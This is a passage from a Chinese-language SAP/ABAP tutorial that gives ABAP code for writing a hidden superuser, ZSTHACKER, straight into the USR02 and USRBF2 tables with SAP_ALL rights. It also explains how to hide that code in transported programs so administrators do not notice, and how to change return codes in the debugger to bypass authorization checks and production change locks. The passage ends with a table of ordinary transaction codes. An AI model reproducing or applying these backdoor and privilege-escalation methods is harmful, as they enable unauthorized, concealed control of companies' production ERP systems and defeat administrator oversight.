上面的方法不妥的是如修改了SAP*密码,basis很快就会知道,为什么不尝试建立一个临时用户呢?下面介绍一个如何通过程序随意建立用户并赋予所有权限的例子,此例的特点在于直接在用户授权对象表USRBF2中加入授权对象,使用SU01看不到任何迹象,隐蔽性较强.
下面是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限. Program ZCRTUSER. Data ZUSR02 like USR02 . ***1Create User ZSTHACKER according to DDIC select single * into ZUSR02 from USR02 where BNAME = 'DDIC'. ZUSR02-BNAME = 'ZSTHACKER'. ZUSR02-Bcode = 'E3B796BB09F7901B' . insert USR02 from ZUSR02 . ***2Copy Auth. Obj from SAP*(or other) data ZUSRBF2 like USRBF2 occurs 0 with header line. select * from USRBF2 into table ZUSRBF2 where BNAME = 'SAP*' . Loop at ZUSRBF2. ZUSRBF2-BNAME = 'ZSTHACKER' . Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME. endloop. INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS. 如果SAP*被修改,直接从Tobj将所有的授权对象赋给ZSTHACKER就可. Data Ztobj like tobj occurs 0 with header line . data zusrbf2 like usrbf2. select * into table ztobj from tobj . loop at ztobj. zusrbf2-mandt = sy-mandt. zusrbf2-bname = 'ZSTHACKER'. zusrbf2-objct = ztobj-objct. zusrbf2-auth ='&_SAP_ALL'. modify USRBF2 FROM zusrbf2 . endloop . 现在还有一点就是basis能检测到多出的神秘ZSTHACKER用户,有一种方法就是basis极难发现这个秘密.读者可自行完成程序逻辑.思路如下: [1]完善程序有建立和删除用户两功能,并将程序插入将要传送到PRD的实用Query(或report painter)等自动产生的程序(需要绕过Access Key). [2]写个简单的逻辑如果query的某个条件满足建立用户赋予权限(象上面一样插入数据到USR02和USRBF2中),如果另一条件满足删除相关数据(从usr02和usrbf2中将数据删除)这样basis就难于发现. *** 注意千万不要用此临时用户做一些不合理的动作. [3]能不能垮client端建立用户和授权呢? 回答是肯定的,很简单,只要在插入数据时指定client就可.假设在client 100有个用户ZSTHACKER没有任何授权,当前client是300,下面的例子将300中SAP*的所有授权对象赋予给client 100的用户ZSTHACKER.(同理使用 client specified 可跨 client 建立用户). Data zusrbf2 like usrbf2. Select * into zusrbf2 from usrbf2 where bname = 'SAP*' . Zusrbf2-bname = 'ZSTHACKER' . Zusrbf2-mandt = '100'. Insert into usrbf2 client specified values zusrbf2. Endselect . |
从理论上讲,只要有Debut(/H)的权限就应该有机会获取所有权限,有些系统在生产机上ABAPer居然有SE38,SE71等权限,显然这提供了一个很好的机会获取权限.
下面列举的实例是在不使用程序只修改运行变量的情况下或取权限(basis 甚至无从追查).
通常在QAS和PRD server, Basis会使用Tcode SCC4设置不允许更改配置(如下图No changes allowed表示不允许配置)和不允许程序开发(3 No changes to Repository and cross-client Customizing objs).这些配置保存在表T000中.
下面是基于用户有SE38权限后并假设如上图已经限制了不允许开发如何绕过此限制获得开发权限的例子.
为此找到程序LSTRDU34(SE37:TRINT_CORR_CHECK)和LSTRDU44(SE37:TRINT_CORR_INSERT)设置断点更改返回值饶过相关判断就可直接在QAS和PRD server上开发.
如图3.6.4-1中设置断点,当程序运行到此,只要将LV_SUBRC设置0即可.
同样,如图3.6.4-2,设置断点将SY-SUBRC改成0就可.
假设ABAPer在PRD有SE38权限,在创建程序时会提示不能改变资源库和配置,可按display(如图3.6.4-3)然后按图3.6.4-1和图3.6.4-2的方法在每次运行到程序LSTRDU34和LSTRDU44时修改LV_SUBRC和SY-SUBRC值为0程序就能被创建并被激活(注意你可能需要多次修改,出现提示对话框按Display就可).
我所说只要有/H调试权限和SE38(或SE37)就可获得全部权限也是基于这样的思路,打开/H,然后执行SE38设置断点修改内存变量(如过你愿意慢慢单步执行到 LSUSEU11, 下面的动作都可节省下来 , 直接使用 /H 就可满足要求)
如图3.6.4-4,假设在PRD环境中你有SE38权限,你没有SCC4修改Client属性的权限,在LSUSEU11如图设置断点,然后将sy-subrc改成0,于是你就拥有了SCC4的权限,这种方法就是你并不需要使用程序只要修改变量就可获得Tcode权限.
1要真正执行一个未被授权的Tcode除了更改图3.6.4-4,如其有多个screen(程序中经常有Call **Tcode skip first screen),可能其它授权还要检测,理论上,只要你有耐心依然可获得全部权限. 2下面是一个假设你可使用SU01(只能进first screen但不能create,change user的破解方法.) 如图3.6.4-4-1,想获取修改用户权限在LSUU0U02When 'CHANGE'时修改rc = 0即可(SE37: SUSR_USER_MAINT_WITH_DIALOG).
如果想获取新建用户权限,在LSUU0U02找到when 'CREA'.将rc值改成0就可.然后在找到保存时的include程序(读者自行去找),既然能建立user了,授权给SAP_ALL当然就获得了所有权限. |
可以任意修改scrip form吗,当然可以,如果想建立更改Scrip Form(SE71)可在LSTRDU39或TR_OBJECT_CHECK(SE37)设置断点.
如图3.6.4-5.
谁真正拥有SAP的权限,我想高明的ABAPer是可获得所需权限的,毕竟系统是用程 序写出的,还有什么用程序做不到的呢? 1.上面描述了如何绕过相应限制建立程序,使用上面的方法可直接更改SAP标准程序,采用这种方法是甚至连Access Key都不要,就是说如在PRD生产环境,如果用户有SA38和/H权限,在LSTRDU34和LSTRDU44设置断点然后修改返回值就可 在不需要Access Key的情况下直接完全修改标准程序. 这样将非常危险,因为就是绕过Access Key (修改LSKEYF00)可在标准程序中Insert,Delete行,起码还不可想修改自写程序一样完全修改程序还能有跟踪.
通常在QAS和PRD server会象图 3.6.4一样设置禁止IMG和开发,这时当使用SE38,SE71,Smartforms等Tcode时甚至不会去检测Access Key,使用上面的方法可轻松进行IMG和开发. 2.如何绕过限制去配置(IMG)系统,读者可自行研究. 3. 试着去除任何人在PRD的SE38权限和/H(S_DEVLOP 4. LSTRDU33(SE37: TR_EDIT_CHECK_OBJECTS_KEYS)是用来检测ABAP object可否Edit的,只要在此设置断点即可. LSTRDU34, LSTRDU44, LSTRDU39会被其调用(使用F5单步执行追踪). |
注意下面两点:
1使用Tcode S001后显示SAP easy access ABAP workbench能看到下面所有Tcode
2使用Tcode不当SE43看到的Area Menu实际上大都是可直接运行的Tcode(但是
不支持/n Area menu,/O Area menu等),运行这些Tcode看到的是相关Application area下所有的可用Tcode层次树,比如ASMN看到的是和AM相关Tcode树,AUTH则是和授权相关Tcode树.
Tcode |
描述 |
CMOD(SMOD) |
SAP增强 |
OSS1 |
连接SAP OSS |
S001 |
ABAP开发工作台菜单(含多Tcode) |
SA38 |
运行程序(SE38开发) |
SCAT |
Computer Aided Test Tool |
SE01 |
传递传输请求(同一服务器的不同client) |
SE09 |
传输请求操作 |
SE10 |
同SE09 |
SE11 |
维护ABAP数据字典 |
SE12 |
显示数据字典 |
SE13|SE14|SE15 |
数据字典相关 |
SE16|SE17 |
查看表数据 |
SE30 |
ABAP运行分析 |
SE32 |
ABAP文本元素维护 |
SE35 |
ABAP/4对话框编程维护 |
SE36 |
维护逻辑数据库 |
SE37 |
维护Function module |
SE38 |
ABAP 编辑器 |
SE39 |
程序比较 |
SE41 |
菜单制作器 |
SE43 |
应用区菜单(相同功能tcode组成一area menu) |
SE51 |
屏幕绘制器 |
SE54 |
生成表的维护视图,然后SE16|SM30可直接维护表数据 |
SE61 |
文档维护 |
SE63 |
翻译 |
SE71->SE76 |
SAPscript相关 Tcode |
SE80 |
ABAP库 |
SE81 |
ABAP应用层次 |
SE84|SE85|SE86 |
ABAP/4 Repository Information System |
SE91 |
建立消息类和消息 |
SE92 |
维护系统Log消息 |
SE93 |
给程序维护Tcode |
SEU |
Repository Object Browser |
SHD0 |
维护Tcode运行变式(Variant) |
SM04 |
查看当前用户 |
SM12 |
删除显示Locked objects(不可删除被lock的传输请求) |
SM21 |
Dump log查看 |
SM30|SM31 |
维护table|view数据 |
SM32 |
维护表 |
SM35 |
查看Batch input session(建立BDC使用SHDB) |
SM36 |
定义后台job |
SM37 |
查看后台job |
SM50 |
Process Overview |
SM51 |
Display system servers, processes, etc. |
SM62 |
Display/Maintain events in SAP |
ST05 |
SQL等跟踪,使用它可跟踪程序使用的表等. |
SU53 |
检查授权对象,如出现权限问题可使用 |